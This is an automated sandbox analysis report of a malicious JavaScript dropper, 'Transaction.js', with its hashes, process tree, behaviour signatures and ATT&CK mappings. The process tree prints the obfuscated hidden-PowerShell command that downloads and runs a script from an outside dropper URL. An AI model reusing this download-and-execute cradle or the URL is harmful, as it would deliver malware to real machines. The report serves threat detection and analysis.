6fa679b595a6942226944f98077bbe75040a77db3b1c5ebdac4542ecad57bfbc

Analysis

max time kernel
8s
max time network
39s
platform
windows7_x64
resource
win7v20210410
submitted
04/08/2021, 13:58

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General

Target
Transaction.js
Size 134KB
Sample210804-zz2ze656ss
SHA256 6fa679b595a6942226944f98077bbe75040a77db3b1c5ebdac4542ecad57bfbc
MD5 ffda87ae8127e7b6b061ac1f9c589d16
SHA1 5f379ba6b0adb0427c7a7d8c4f6b12da1d7b762e
SHA512 be0714eb1274796066a1551ef92aaf55616976192ad600903923243b8748a2b8dd48e4b671d3d2492316e152353849fbdfdb4bcb63c162293be1500be112cbe9
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://asesoriasconfood.com.co/magazine/magazine.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1736	powershell.exe
1736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1736	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 1988	1856	wscript.exe	26
PID 1856 wrote to memory of 1988	1856	wscript.exe	26
PID 1856 wrote to memory of 1988	1856	wscript.exe	26
PID 1988 wrote to memory of 1736	1988	cmd.exe	28
PID 1988 wrote to memory of 1736	1988	cmd.exe	28
PID 1988 wrote to memory of 1736	1988	cmd.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Transaction.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYQBzAGUAcwBvAHIAaQBhAHMAYwBvAG4AZgBvAG8AZAAuAGMAbwBtAC4AYwBvAC8AbQBhAGcAYQB6AGkAbgBlAC8AbQBhAGcAYQB6AGkAbgBlAC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYQBzAGUAcwBvAHIAaQBhAHMAYwBvAG4AZgBvAG8AZAAuAGMAbwBtAC4AYwBvAC8AbQBhAGcAYQB6AGkAbgBlAC8AbQBhAGcAYQB6AGkAbgBlAC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1736-63-0x00000000020C0000-0x00000000020C1000-memory.dmp

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memory/1736-64-0x000000001AAC0000-0x000000001AAC1000-memory.dmp

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memory/1736-65-0x00000000024E0000-0x00000000024E1000-memory.dmp

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memory/1736-67-0x0000000002644000-0x0000000002646000-memory.dmp

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memory/1736-66-0x0000000002640000-0x0000000002642000-memory.dmp

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memory/1736-68-0x0000000002020000-0x0000000002021000-memory.dmp

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memory/1736-69-0x000000001B4B0000-0x000000001B4B1000-memory.dmp

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memory/1856-59-0x000007FEFBD21000-0x000007FEFBD23000-memory.dmp

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